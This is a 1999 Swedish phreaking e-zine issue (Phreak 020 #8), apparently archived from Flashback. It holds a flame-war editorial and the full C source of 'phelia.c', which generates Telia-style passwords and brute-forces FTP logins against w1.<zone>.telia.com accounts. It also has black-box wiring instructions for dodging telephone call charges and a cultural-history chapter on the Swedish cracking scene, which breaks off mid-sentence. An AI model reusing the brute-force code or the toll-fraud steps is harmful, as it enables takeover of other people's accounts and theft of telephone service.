OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
___________ __ __ ___________ _________ __________ ___ ___
| _____ | | | | | | _____ | | | | ______ | | | / |
| | | | | | | | | | | | | _____| | | | | | | / /
| |_____| | | |__| | | |_____| | | |_____ | |______| | | |/ /
| _______| | | | _______| | _____| | ____ | | /
| | | __ | | |\ \ | | | | | | | |\ \
| | | | | | | | \ \ | |_____ | | | | | | \ \
| | | | | | | | | | | | | | | | | | | |
|___| |__| |__| |___| |__| |_________| |__| |__| |___| |__|
________________ _____________ ________________
| __________ | | | | __________ |
| | | | | |-----| | | | | |
| | | | |___| / / | | | |
| | | | / / | | | |
| | | | / / | | | |
| | | | / /_______ | | | |
| |__________| | / | | |__________| |
|________________| |______________| |________________|
Nummer 8 - 1999-05-15
.-------.
Innehåll
'-------'
¤ Ledare
¤ Kritik
¤ Source Code - Phelia.c
¤ BlackBoxing
¤ Copyright finns inte 2.0 - Subkulturernas Subkultur
.-----.
Ledare
'-----'
Black boxing fungerar ju inte sen man började köra med AXE påstår MeglaW, men
conceptet för detta zine är ju information wants to be free. Så jag tar med
min black boxing text. Vissa påstår ju att detta funkar också, beroende på var
man bor. BTW såg en japanare med en svart påse på förut i veckan, när jag
kollade närmare så såg jag att locket låg vid sidan av japanaren =). Ja nu har
man varit med i Mr Headache's Underground #17 också... Jävla Fascist zine...
Manelius & C:o har ju varit smarta som får åka in på snutförhör för sin
phreaking runda. Hoppas han refererar till Phreak 020 om han kommer med i
någon tidning =). Japp, jag släpper ju 3-4 nummer i månaden. Om du åker fast
för att ha prövat något illegalt härifrån så referera gärna till zinet =), men
det är inte vårt fel att du åker fast. Det är ju en fördel om du läser detta
zine i edit eller något annat program som kan läsa DOS text(inte notepad).
Let's Phreak...
Denna gång i zinet kollar vi på följande Kritik, Source Code, Black Boxing och
Copyright finns inte 2.0.
.-----.
Kritik
'-----'
Har ju fått dålig och bra kritik för Phreak 020. Mestadels dålig... =(
Ur Mr Headache's Underground #17, som är skrivet i notepad:
Artikeln om telemonitorn "av" Electrodeath var stulen så det sjöng om det från
The Library av Thallion. Jag tyckte mig ha sett ASCII-bilden förr och det hade
andra läsare också gjort. Hönder det igen att någon skickar in en stulen
artikel så reagera förfan! Det är nog det värsta som finns när nollor med
IQ 30 sitter och klipper ihop ett "eget illajta" zine. Till exempel har det
kommit upp en del taskiga kopior på Zineworld, en är "Phreak020". Bara namnet
avslöjar författarens brist på fantasi. Bara rippade artiklar rätt igenom.
Hade jag varit Zitech (vilket jag INTE är, jag är INTE heller ninJai, vilket
vissa trodde och skickade massor med tiggarbrev om shellkonton... nåja... var
var jag? :) skulle jag ha plockat bort eländet genast. Nog med skitsnack, men
en sak ska alla ha klar för sig. Vi har kapaciteten att släppa många fler
nummer, och jag har ALDRIG haft några planer på att lägga ner.
Svar direkt: Jag kan ge ett komplext svar och ett mindre komplext svar. Med
tanke på att dessa fascister inte har till räckligt med hjärn kapacitet att
förstå ordet komplex innebörd, så tar jag det icke komplexa svaret först:
Information Wants to Be Free, när jag skapade zinet så hade jag inte tänkt
skrivit så mycket själv.
Det komplexa svaret:
Fascistiska tendenser finns överallt i samhället. Speciellt inom Zine världen
verkar det som. En ska som betecknar fascister är att dom inte kan acceptera
andras åskiter och värderingar, bara för att nämna några namn: MeglaW,
Electrodeath, Mr Headache, co14 och många fler. Dessa människor anser att
dom har rätten till att styra över olik tänkande och att dessa ska dö. Det är
också svårt att få ihop ett zine om man bara är en person, tänk bara på VSU.
Hur ofta kommer VSU ut? Sällan... och här ska jag ha 3-4 nummer i månaden. BTW
så är ju dessa personer inte IRCopar/Net admins/Co-Founders på ett irc nät.
Dessa personer får lov att trade/carda shell accounts, medans jag just har
fått ett unlimited shell. Fascisterna Marscherar Igen...
co14: Har du frågat MeglaW om du får använda hans bilder, jag har också kollat
på er fula sida...
Svar: Er? Er?? Er! Det är ju bara jag! Wannabe! Copyright, haha! Man får ju
kopiera bilder och sätta upp hur man vill, för Copyright lagen existerar i min
mening inte på internet! Som allas vår Wannabe MeglaW skulle ha sägt: BÖÖÖT
Undrar vilken idiot det är som går omkring och säger så! Troligen en jävla
knös från Djursholm eller någon sådant rikemans place.
CoreWarp: Hmm, det är ett jävla rippzine men insiativet är bra....
Svar: Det tackar jag för =)
Prolet: Hmm, jag måste skriva lite och göra zinet dräglit...
Svar: Egoismen är ju en stark drivkraft =), men gärna för mig...
Cartman: Jävla Rippzine! Control + A, Control + C och Control + V!
Svar: Jaha? Gör det bättre själv då, och då ska ingen hjälpa dig med
artiklarna heller!
Gizmo: Ripper!
Svar: Se Cartmans svar...
Manelius & Han polare: Jävla bra zine! Jag premunerar ju på Phreak 020 för att
jag tycker det är bra!
Svar: Mer av det tack =)
Kom ihåg att Information Wants to Be Free, och läs the jargon file och
cyberpunk litteratur så kanske du också blir smart som jag.
.---------------------.
Source Code - Phelia.c
'---------------------'
Snott från KBB #15, för att på minna om den tid då Phreaka 020 var lätt som en
plätt... Typ en hyllning till den tid som var!
Ett litet program phelia.c, exempel kod i C som kan göra diverse saker
som visar hur man skulle kunna
verifiera ett lösenord, generera ett lösenord eller rent av
testa alla möjliga lösenord mot en server (om man, av någon
anledning, glömt sitt lösenord), för att på så vis få tillgång
till sin email igen.
Algoritmen som används i programmet finns förklarad i FNA #97
/*
------- phelia.c --------(C) Copyright 1998 noupe @ #hack.se [noupe@iname.com]
phelia password
generator/validator/hacker
Med det här programmet kan du:
Validera ett existerande lösenord.
Generera ett slumpmässigt lösenord.
Generera alla möjliga lösenord, och skriva ut dem.
Brute force hacka ett lösenord.
Compile w/:
gcc -o phelia phelia.c [in Linux for example ]
bcc phelia.c [in Win/DOS w/ Borland c compiler ]
Note! For education purpose only... Do not use this proggie
*/
#define _Version "1.0"
/* #define Use_In_Linux /* Define this to enable bruteforce hacking */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef Use_In_Linux
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
int opensock(char *server, int port);
char *brute(char *login);
void generate_pass(int *c, int *i, char *dest);
int stat(void);
void getbuf(char *buf);
char host[20], login[20], zon[4], *hacked_pass;
int s;
fd_set sfds;
#endif
void banner(void);
short check_args(int ac, char *av[]);
void print_all(void);
void validate(char *pw);
void generate_random(void);
void calloc_error(void);
short bit(int flag, int c);
void usage(char *proggie);
/* *********** Globala variabler *********** */
char password[9];
struct password_table
{ /* Tabellstrukturen */
char cur; /* Aktuellt tecken */
char next[2]; /* Nästa möjliga tecken */
} table[37] = {
{ '2', "6Y" }, { '3', "7Y" }, { '4', "7a" }, { '5', "8a" },
{ '6', "8b" }, { '7', "9b" }, { '8', "9c" }, { '9', "Ac" },
{ 'A', "Ad" }, { 'B', "Bd" }, { 'C', "Be" }, { 'D', "Ce" },
{ 'E', "Cf" }, { 'F', "Df" }, { 'G', "Dg" }, { 'H', "Eg" },
{ 'K', "Eh" }, { 'M', "Fh" }, { 'N', "Fp" }, { 'P', "Gp" },
{ 'Q', "Gq" }, { 'R', "Hq" }, { 'X', "Hr" }, { 'Y', "Kr" },
{ 'a', "Kx" }, { 'b', "Mx" }, { 'c', "My" }, { 'd', "Ny" },
{ 'e', "N2" }, { 'f', "2P" }, { 'g', "3P" }, { 'h', "3Q" },
{ 'p', "4Q" }, { 'q', "4R" }, { 'r', "5R" }, { 'x', "5X" },
{ 'y', "6X" }
};
int main(int argc, char *argv[])
{
short Flag;
banner();
Flag=check_args(argc, argv);
switch (Flag)
{
#ifdef Use_In_Linux
case 0:
opensock(host, 21);
//sockfp=fdopen(s,"rt");
hacked_pass=brute(login);
printf("\nFound password for account '%s'.\n", login);
printf("Login: %s\n", login);
printf("\aPassword: %s\n", hacked_pass);
printf("That's it. Remember, don't use that account!\n");
break;
#endif
case 1: generate_random(); break;
case 2: print_all(); break;
case 3: validate(password); break;
default: exit(0);
}
return 13; /* Fredagen den 13:e idag =] */
}
/* ************ Some functions ************ */
void banner(void)
{
printf("_____________________________________\n");
printf("phelia v%s by noupe/#hack.se |\n", _Version);
printf("----------- |\n");
printf("phelia password generator/validator |\n");
printf("``````````````````````````````````````\n");
}
short check_args(int ac, char *av[])
{
if ((ac > 4) || (ac < 2)) usage(av[0]);
#ifdef Use_In_Linux
if ((av[1][0] == '-') && (av[1][1] == 'b'))
{
if (ac != 4) usage(av[0]);
strcpy(zon,av[2]);
strcat(strcat(strcpy(host,"w1."),zon), ".telia.com");
strcpy(login,av[3]);
return 0;
}
#endif
if ((av[1][0] == '-') && (av[1][1] == 'g')) return 1;
if ((av[1][0] == '-') && (av[1][1] == 'p')) return 2;
if ((av[1][0] == '-') && (av[1][1] == 'v'))
{
if (ac != 3) usage(av[0]);
strcpy(password,av[2]);
return 3;
}
return -1;
}
void usage(char *proggie)
{
printf("\nUsage: %s [-b <zon> <login>] [-v <password>] [-g]\n", proggie);
#ifdef Use_In_Linux
printf("\t-b <zone> <login>\tHack this account <login>\n");
#endif
printf("\t-g\t\t\tGenerate a random password\n");
printf("\t-p\t\t\tPrint all possible passwords\n");
printf("\t-v <password>\t\tValidate <password>\n");
exit(0);
}
void print_all(void)
{
int c, i, j, iTable;
char *pw;
for(i=0;i<37;i++)
{
for(c=0;c<256;c++)
{
if ((pw=(char*)calloc(9, sizeof(char))) == NULL) calloc_error();
pw[0]=table[i].cur;
for(j=1;j<8;j++)
{
for(iTable=0;((table[iTable].cur!=pw[j-1])||(i>37));iTable++);
pw[j]=table[iTable].next[bit(j,c)];
}
printf("%s\n", pw);
free(pw);
}
}
}
void validate(char *pw)
{
int i,j;
for (j=0;j<7;j++)
{
for(i=0;((table[i].cur != pw[j]) || (i>37));i++);
if (pw[j+1] != table[i].next[0])
if (pw[j+1] != table[i].next[1])
{
printf("The password '%s' is invalid\n", pw);
exit(0);
}
}
printf("The password '%s' is valid\n", pw);
}
void calloc_error(void)
{
puts("calloc() error! Not enough free mem?");
exit(1);
}
/* Klart man blir förvånad när man kommer
på en sån här elajt funktion *stolt* */
short bit(int flag, int c)
{
switch(flag) /* Sätt flaggan till rätt värde */
{
case 3 : flag = 4; break; /* Värde för att testa bit 3 */
case 4 : flag = 8; break; /* Värde för att testa bit 4 */
case 5 : flag = 16; break; /* Värde för att testa bit 5 */
case 6 : flag = 32; break; /* Värde för att testa bit 6 */
case 7 : flag = 64; break; /* Värde för att testa bit 7 */
case 8 : flag = 128; break; /* Värde för att testa bit 8 */
default : break;
}
if ((c & flag) == flag) return 1; /* Om skiten e satt, returnera en etta */
return 0; /* ...annars en nolla */
}
void generate_random(void)
{
char *pw;
int i, iTable;
time_t t;
srand((unsigned) time(&t)); /* Initiering av rand() funktionen */
if ((pw=(char*)calloc(9,sizeof(char))) == NULL) calloc_error();
pw[0]=table[rand()%37].cur;
for(i=1;i<8;i++) {
for(iTable=0;table[iTable].cur!=pw[i-1];iTable++);
pw[i]=table[iTable].next[rand()%2];
}
printf("Random phelia password -> %s\n", pw);
free(pw);
}
#ifdef Use_In_Linux
void generate_pass(int *c, int *i, char *dest)
{
int iTable, j;
if(*i!=37) {
if(*c!=256) {
dest[0]=table[*i].cur;
for(j=1;j<8;j++) {
for(iTable=0;((table[iTable].cur!=dest[j-1]));iTable++);
dest[j]=table[iTable].next[bit(j,*c)];
}
(*c)++;
}
if (*c==256) {
(*i)++;
*c=0;
}
}
}
char *brute(char *login)
{
int c=0, found=0, i=0, j;
char pass[9], *buf;
for(j=0;j<9;j++) pass[j]='\0';
if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error();
getbuf(buf); /* Läsa motd */
free(buf);
while (!found) {
if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error();
sprintf(buf, "USER %s\n", login);
write(s, buf, strlen(buf));
free(buf);
generate_pass(&c, &i, pass);
printf("Trying with %s/%s\n", login, pass);
if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error();
getbuf(buf);
free(buf);
if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error();
sprintf(buf, "PASS %s\n", pass);
write(s, buf, strlen(buf));
free(buf);
if ((buf=(char *)calloc(512, sizeof(char))) == NULL) calloc_error();
getbuf(buf);
if (strstr(buf,"logged")) found=1; /* Loggade vi in? */
free(buf);
}
close(s);
return strdup(pass);
}
int opensock(char *server, int port)
{
struct sockaddr_in sin;
struct hostent *he;
if ((s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(1);
}
bzero((char *)&sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(server);
sin.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL)
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
else
if ((sin.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
exit(1);
}
if (connect(s,(struct sockaddr *)&sin,sizeof(sin))==-1) {
perror("connect()");
close(s);
exit(1);
}
return s;
}
int stat(void)
{
struct timeval tv;
fd_set blah;
int stat;
FD_ZERO(&blah);
FD_SET(s,&blah);
tv.tv_sec=1; /* Vänta högst 1 sekund innan vi går vidare */
tv.tv_usec=0;
stat=select(s+1,&blah,NULL,NULL,&tv);
if (stat) return 1;
else return 0;
}
void getbuf(char *buf)
{
for(;;) {
if(stat()) read(s,buf,255);
else break;
printf("buf: %s\n", buf);
}
}
#endif
//noupe
.----------.
BlackBoxing
'----------'
Ännu en ny och rolig box för att lura phelia(dom med 020 konton =))...
En blackbox är en liten box som kopplas in mellan en telefon och telefon-
utagget. BTW är blackboxen en svensk uppfinning som uppfanns på åttiotalet av
Nils Johan Alsätra. När det ringer och du svarar gör blackboxen att phelia
inte märker av att samtalet har påbörjats och den som ringer dig slipper
betala. Det som en black box egentligen gör är att öka och minska voltstyrkan...
För er som inte vill göra en själv så finns det fol som säljer black boxar.
Det är dock inte säkert att den funkar i ditt område. Man bör enligt visa
texter inte prata mer än en hlavtimme med blackboxen, eftersom risken att bli
spårad finns...
BTW ställ dig inte upp och skrik "Vill vi ha en tjock statsminister" på
mcDonalds, samtidigt som du pekar på en bild med Göran Persson i en tidning.
Jag har ju själv provat, det uppskattades INTE! =)
Och nu.... Celsius How-To BlackBox!
How-To:
Material:
1 telefon
1 resistor på 4.7k eller 4.9k ohm 5%(funkar bäst med 4.9k, annars kanske du
måste använda två 4.7k. En 4.7k kan oxå göra att du kan tala i 25 sek typ)
Före:
x = kabel
+--------------+
¦ Telefon ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ 0 0 0 1 ¦
X X X X
X X X X
X X X X
X X X X
X X X X
Nu ska vi modifiera kabel 1 =). Det behöver inte alltid vara kabeln längst
till höger men det är vanligast. Dela kabelen i två bitar. Sätt resistorn
mellan dom två kabel bitarna. Löd sedan ihop kabelbitarna med resistorn, och
sätt ihop telefonen.
Efter:
R = Resistor
X = kabel
+--------------+
¦ Telefon ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ ¦
¦ 0 0 0 1 ¦
X X X X
X X X R
X X X X
X X X X
X X X X
För att se om den funkar sätt i telefonjacket i väggen, lyft sedan på luren
Om du får ett svagt ljud som svar då är Steg 1 klart. Be sedan någon kompis
ringa dig eller använd din mobil. Om telefonen inte ringer men det går att
prata med din kompis/mobil när du lyft på telefonen, plus att du hör dom
vanliga puls tonern i bakgrunden då har du lyckats.
//Celsius
.--------------------------------------------------.
Copyright finns inte 2.0 - Subkulturernas Subkultur
'--------------------------------------------------'
Här är den femte delen till den kända boken Copyright finns inte, Version 2.0.
För att kunna läsa den så används en speciel teknik för att markera fetta ord
och kursiva ord. Om ett ord markers med _understreck_ så betyder det att ordet
är i fett stil, och är det *stjärnor* runt ett ord betyder det att ordet är
kursivt. Det kommer komma ett nytt kapitel i varje nummer tillsvidare...
Bokens hemsida är: http://www.df.lth.se/~triad/book/
_SUBKULTURERNAS SUBKULTUR_
Det som började på MIT och sedan spred sig ut i världen med hemdatorerna
och datanätverken har nått oss på ett sätt som gjort att vi knappt kan känna
igen fenomenet som det som fick de amerikanska undomarna att slita dagar och
nätter med sina *hack*. Hackarna invaderade de svenska hemmen - men inte många
insåg att de fått hackare i hemmet. Nästan ingen anade att deras söner (och i
något fall döttrar) genom att tillbringa några timmar framför en skärm kunde
influeras av en datorkultur med rötterna i de amerikanska högskolorna. Och jag
skriver Commodore 64-historia, för det var där allt började om vi ser till
Sverige.
Den för sin tid (1984) riktigt avancerade C64:an hade inlett sin
blomningstid; hundratusentals ungdomar i USA, Europa och Australien satt med
sina brödburksliknande datorer och fascinerades över möjligheterna den erbjöd.
C64:an var precis som Apple II och Atari 800 datorerna byggd kring
mikroprocessorn 6502 från kretstillverkaren _MOS_ (som än idag används i t ex
Nintendos TV-spel), och därför såg många Apple- och Atari-ägare det som ett
naturligt steg att gå över till C64. Till en början var de flesta program,
företrädelsevis spel, som kom till datorn ganska simpla med usel grafik och
pipigt ljud som påminde om det som alstras av en internhögtalare i en PC utan
ljudkort, men vid någon punkt nådde marknaden en magisk gräns, där så många
C64 maskiner var sålda att det lönade sig att bygga upp företagsverksamhet
enbart med syftet att producera program och spel till denna hemdator. Detta
hade tidigare skett kring Apple och Atari i USA, men eftersom C64:an var den
första riktigt stora europeiska hemdatorn var detta något helt nytt på denna
sida Atlanten. De första företagen dök upp i England, som var det land som
först importerade C64:an, och blev ett europeiskt föregångsland inom
datorkultur.
Det var *spelen* med sin för tiden riktigt avancerade grafik och hyfsade
ljud som piratkopierades och spreds över det som skulle komma att bli den sk
*Scenen.* Scenen, ett slags virtuellt samhälle, hade uppstått i USA runt 1979
och då var det spel till Apple och Atari som gällde. Programföretagen var
förbannade och kallade dem pirater och brottslingar.
Pirat BBS:er för hemdatorer, oftast bestående av en Apple II och
programmet *ASCII Express Professional*, hade vuxit upp som svampar ur marken
och ytterligare spätt på den underjordiska hackar- och phreakarrörelsen med
sina egna elektroniska tidningar och värderingar. Den mest ökända BBS:en var
_Pirates Harbour_, som drevs av _Red Rebel_, med så prominenta användare som
_Mr Xerox_ och _Krakowicz_, bägge namnbekanta knäckare.
I Sverige hade en tid innan C64:ans intåg hade en liten, tätt sammanhållen
skara Apple II-entusiaster, parallellt med att ABC-klubben vuxit fram som en
representativ och salongsfäig datorklubb, drivit ett underjordiskt nätverk där
_Captain Kidd_, _Mr Big_, _Mr Sweden_, _TAD_, _TMC_ (The Mad Computerfreak)
och en del andra ingick. Eftersom det inte fanns någon inhemsk marknad för
Apple II-mjukvara i Sverige hade de importerat och knäckt spel från USA som de
sedan delade på. De hade även kontakter med den ökända amerikanska Apple
II-underjorden och dess BBS:er. De flesta av dem bytte sedemera upp sig till
C64, och med dem föddes den svenska Scenen.
Begreppet *Scen* är här det samma som en teater- eller musikscen. En scen
är något man går upp på för att visa vad man kan, inte för att förtjäna sitt
uppehälle eller dominera andra. Scener förekommer inom nästan alla kulturella
områden, och fascinerande nog också inom en del teknologiskt-kulturella
domäner som bland radioamatörer, modellflygplansentusiaster och hackare. Det
som skiljer hemdatorscenen från andra scener är att den kolliderade med
kommersiella intressen och på det viset kom att bli betraktad som en farlig
och kriminell subkultur.
Scenen, med stort S, är alltså en beteckning på den stora grupp av
användare som utbyter företrädelsevis spelprogram och senare (som vi skall se)
även sk demoprogram. Tanken var enkel: varför köpa ett spel för 150 kronor om
jag kan kopiera det gratis av grannen? Verksamheten var givetvis olaglig, men
den låg (vilket de flesta också insåg) på samma nivå av olaglighet som att
kopiera grannens vinylskivor till kassettband, med det enda undantaget att
kopian inte förlorade kvalité och kunde fortsätta att reproduceras i hur många
led som helst. En kopia av en kopia av en ko... ja, ni vet, är alltså identisk
med originalet.
Åklagare som den svenska pionjären _Christer Ström_ i Kristianstad och
hans kolleger runt om i världen har till viss del lyckats hindra den
affärsmässiga och massdistribuerade spridningen av dessa kopior, men den sk
*privat*-kopieringen lever fortfarande i högönsklig välmåga, även om den för
ögonblicket har stoppats upp något av det faktum att moderna spel till framför
allt PC-maskiner levereras på CD-skivor och därmed inte är så lätta att
kopiera. (Om de trots allt kopieras fyller de kanske ett 50-tal disketter
vilket gör det hela ganska ohanterligt och dyrbart.) Man köper hellre
originalen än lägger ned timmatal på kopiering. (Mer om detta längre fram.)
Sedan den 1 januari 1993 är all kopiering av upphovsrättsligt skyddad
programvara, även till vänner etc, förbjuden i svensk lag. Ingen individ har
dock dömts för att ha kopierat program till sina kompisar. Brottet är som sagt
jämförbart med att kopiera skivor eller videofilmer, inte räcka ut handen när
man cyklar runt ett gathörn etc etc. Så länge man inte massdistribuerar
piratkopierad programvara kan man nog vara ganska lugn. Men det skall inte jag
sitta här och säga, det är ju fruktansvärt politiskt inkorrekt.
Nåväl (tillbaks till 1984), de personer som tog bort de ofta nästan
obefintliga kopieringsskydden från spelen, de sk *Knäckarna* (eng: Crackers),
kom på den förträffliga idén att skriva sitt namn eller *pseudonym* (eng:
*handle*) på en skärm före spelet. Fenomenet är som så mycket annat i
hackarvärlden till sin art besläktat med *graffitti*. Om vi beaktar att en
sådan kopia kunde nå tiotals tusen eller fler personer (säkert fler än vad som
iakttar en sprayad betongvägg) så förstår vi varför detta blev så populärt.
Hackare som gick under pseudonymer som _Mr Z, TMC _(The Mercenary Cracker)_,
WASP _(We Against Software Protection),_ Radwar, Dynamic duo_* *eller _CCS_
(Computerbrains Cracking Service) florerade på skärmarna. Bakom dessa namn
dolde sig ibland enskilda hackare och ibland löst sammanhållna grupper. I
Amerika fanns det redan etablerade och välorganiserade hackargrupper som inte
gjorde annat än knäckte spel, men i Sverige och övriga Europa var fenomenet
helt nytt. Den underjordiska hackarrörelsen började byggas upp från grunden,
speciellt i storstäderna där det fanns gott om hackare som möttes på olika
datorklubbar och utbytte erfarenheter och kopierade program.
Hemdatorn som medium hade enorm genomslagskraft, och ett flertal
hackargrupper som bara sysslade med att avlägsna kopieringsskydd från spel,
samt komprimera och distribuera den färdiga *produkten* (eng: *wares*),
uppstod på kort tid. Bland de allra första grupperna fanns exempelvis den
amerikanska gruppen _Elite Circle_ med rötter inom såväl hackar- som
phreakarkulturen och som redan tidigare drivit BBS:er med piratkopierad
mjukvara till såväl Atari 800 som Apple II. Hela idén att knäcka och sprida
spel kom från USA där det börjat med ett program som hette _Locksmith_ till
Apple II, som kunde ta bort kopieringsskyddet från programmen med hjälp av
vissa parametrar. Till en början nöjde man sig med att byta parametrar till
detta program, senare var man tvungen att lägga ned mer arbete på själva
knäckandet, och knäckaren var själv tvungen att vara programmerare.
Hackarna gjorde detta för att de var förbannade på att
programvaruföretagen lade in kopieringsskydd som hindrade dem från att snoka i
programmen på egen hand, kopiera dem och ge dem till sina vänner. De ville att
informationen skulle vara fri. Detta var den verkliga orsaken, även om man
gärna tog till bortförklaringar i stil med: *"Programmen är för dyra, Jag
kopierar bara program jag ändå inte skulle ha råd att köpa, Jag vill testa
programmet innan jag köper det"* osv, som bara till viss del var sanna. Det
grundläggande idealet var att information *inte kunde* ägas, och att man *inte
ville* vara en del av någon mjukvaruindustri.
Ett av de allra första programmen som piratkopierades, kanske det allra
första någonsin, var *Altair BASIC* som levererades stansad på hålremsa till
datorn med samma namn. BASIC betyder Beginners All-purpose Symbolic
Instruction Code, dvs nybörjarens symboliska instruktionskod för allehanda
syften, och Altair BASIC var skriven av ingen mindre än _Bill Gates_. Bakom
kopieringen låg en av medlemmarna i Homebrew computer club i Silicon Valley,
en hackare som senare kallade sig _Nightstalker_ (Dan Sokol) som skrev ett
program som kopierade hålremsan och därmed blev världens första knäckare. Den
då 19-årige Gates blev vansinnig och skrev ett argt brev till
användargrupperna där han menade att det var stöld att kopiera ett program och
att de som gjorde det förstörde branchen. De flesta tyckte att lille Bill var
dum i huvudet; ingen hade någonsin tidigare försökt sälja datorprogram - det
normala var att alla delade på allt. Till de stora datorsystemen följde
programvaran med som en del av maskinen, och i den mån någon kopierade den var
det ingen som brydde sig. Med hemdatorerna uppstod piratkopieringen, helt
enkelt därför att det fanns mjukvaruföretag som ville sko sig på den nya
hobbyn. Hobbyisterna själva bad aldrig om några mjukvaruföretag.
Här måste vi också göra en viktig distinktion: hackare skiljer på vanlig
kompiskopiering och *pirater*. Piraterna är inte kompisar, utan liksom
dataföretagen personer som försöker slå mynt av piratkopieringen. Piraterna
parasiterar såväl på hemdatorhackarna som bara vill ha lite spel, som på
datorbranchen i allmänhet. *Både* hackare *och* dataföretag, distributörer
etc, anser att pirater är *avskum*. Dataföretagen för att de stjäl deras
inkomster, hackarna för att de skapar ett nytt beroendeförhållande som inte är
ett dugg bättre än det gamla. Hackarna håller i allmänhet hårt på att
kopiering är något man gör på vänskaplig basis, och *gratis*. Bara i något
undantagsfall har hackare samarbetat med pirater för att exempelvis få tag i
originalspel (idag kända under det mer kufiska namnet "licenser") att knäcka.
Sveriges störste pirat någonsin, _Jerker_ (fingerat namn) en drygt 40-årig
förtidspensionerad tvåbarnspappa i Knislinge utanför Kristianstad, hatades av
såväl branchen som av hackarna själva, möjligen med undantag för gruppen
_Xakk_ som under en period var beroende av piraten för att få tag på
originalspel. Ryktet säger att han inte har gett sig än, utan fortfarande mer
eller mindre lever på piratkopiering. Själv säger han sig vara ointresserad av
datorer, och uppenbarligen stämmer det. Min gissning är att han är betydligt
mer intresserad av pengar.
Scenen 1986: I takt med att hackarna fördjupade sina programmeringskunskaper
började introduktionsskärmarna före spelen att utvecklas och få flera
dimensioner. Man hämtade inspiration från titelskärmar och sekvenser ur spel,
och från att ha bestått av mest vertikalt rullande text tillfördes musik,
utvecklad grafik, animationer och ett antal tekniska trick för att få det hela
att se häftigare ut. En ny konstform som utövades av enbart programmerare, det
sk *introt*, var född. Även om dessa uppstått redan på Apple II-tiden, och då
i ganska enkla former, var det först på C64 som den avancerade maskinvaran
tillät den att blomma ut. Grupper som _Eagle soft, Hotline, Comics Group,
FAC_* *(Fedaration Against Copyright),_ Triad_ och _Fairlight_ översvämmade
Scenen i mitten och slutet av åttiotalet.
Några av grupperna startade egna BBS:er, elektroniska anslagstavlor, där
tankar utbyttes och programmen spreds. Begreppet *elit* infördes som en
beteckning på de grupper som var mest produktiva och hade flest kanaler att
distribuera sina alster, framför allt till USA. Den europeiska delen av Scenen
var sjukligt fixerad vid att snabbt få sina knäckta spel distribuerade till
staterna, förmodligen en sorts lillebrorskomplex som berodde på att Scenen
från början uppstått kring de amerikanska Apple II-datorerna och de mest
erfarna hackarna de facto fanns där. Det var dem man ville imponera på med
sina knäckta spel. Ju fler vänskapsband man hade med USA, desto mer elit var
man.
Kravet på öppna kanaler ledde till att flera hackare började attackera
bland annat Internet och liera sig med de europeiska såväl som amerikanska
phreakarna för att få loss öppna kanaler till väst. Phrekarna och
nätverkshackarna kallade dessa nykomlingar från hemdatorvärlden för *Warez
d00ds* (sv ung: *piratpolare*) eftersom de alltid kom springande med "varor" i
form av piratkopierade spel. I sina egna led kallades de *traders* (handlare)
eller uttryckligen *modem-traders*, eftersom de använde modem för att koppla
upp sig till olika BBS:er. Till en början var det amerikaner som var insatta i
phrekandets sköna konst som ringde upp olika europeiska knäckargrupper, senare
var det européerna själva som började ringa till USA, hacka datorer på
Internet osv.
Så småningom ledde denna inbillade storebror i väster till att det
europeiska hemdatorhackarna var totalt överlägsna de amerikanska i allt vad
programmering och spelknäckning hette. Under 1987-88 började de amerikanska
spelföretagen kopieringsskydda de spel de sålde till Europa, medan de lät bli
att skydda de exemplar som såldes inom USA. Man fruktade de europeiska
knäckargrupperna och speciellt Sverige nämndes som ett ovanligt farligt land.
Man menade att en stor del av den piratkopierade programvara som spreds i
Europa och USA härhörde från Sverige, och det var faktiskt sant. De flesta av
dessa spel härhörde från en importbutik i Göteborg dit en svensk hackare kom
en gång i veckan för att "testa" nya spel. Utan att butiksinnehavarna hade en
aning om det, kopierade han spelen och skickade dem till olika svenska
knäckare.
Det dröjde inte länge förrän någon kom på idén att bryta loss introt från
spelet och låta det stå för sig självt, kanske rent av fylla hela datorns
minnesutrymme, och därmed uppstod de rena *demo*programmen (hädanefter kort
*demo*), dedicerade åt grafiska och musikaliska uppvisningar samt teknisk
exkvilibrism. De allra första demona var samlingar med musik från olika spel,
oftast bara försedda med en enkel textskärm. Det var för det mesta samma
grupper som tidigare sysslat med spelknäckning och intron som övergick till
att delvis producera demon, men rena demogrupper uppstod också, t ex _1001
Crew, The Judges, Scoop_ eller _Ash & Dave_. Man byggde upp en egen jargong
och ett eget skönhetsideal framför allt genom att byta program och
erfarenheter via _Compunet_ i England som var ett enormt konferenssystem
avsett enbart för hemdatorentusiaster, jämförbart med ABC-klubbens *Q-Zentral*
här hemma i Sverige. Compunet blev en hård kärna i demogruppernas kretsar, men
huvuddelen av programbytena skedde fortfarande via diskettbyten eller BBS:er.
Senare, framför allt under 1988, var den underjordiska tidningen *Illegal* en
slags kulturell knutpunkt för denna hastigt framväxande kultur.
Snart skapades ideal beträffande vad som var bra och dåligt och den
allmänt bekanta termen *lamer* (sv ung: *lamis*, slang) myntades som en
beteckning för de som istället för att programmera själva, använde enkla
presentationsprogram för att framställa demon. Uttrycket kommer antagligen
ursprungligen från skateboardslang. Ordet *lamer* spred sig vida utanför
hackarkretsarna och tillämpades snart på varje datormässig odugling. Många
liknande slanguttryck har deriverats från Scenen, men refereras inte till
denna källa i *The Jargon File*, som istället förmedlar en bild av de
subkulturella hackarna (uteslutande kallade *warez d00ds*) som ogräs och
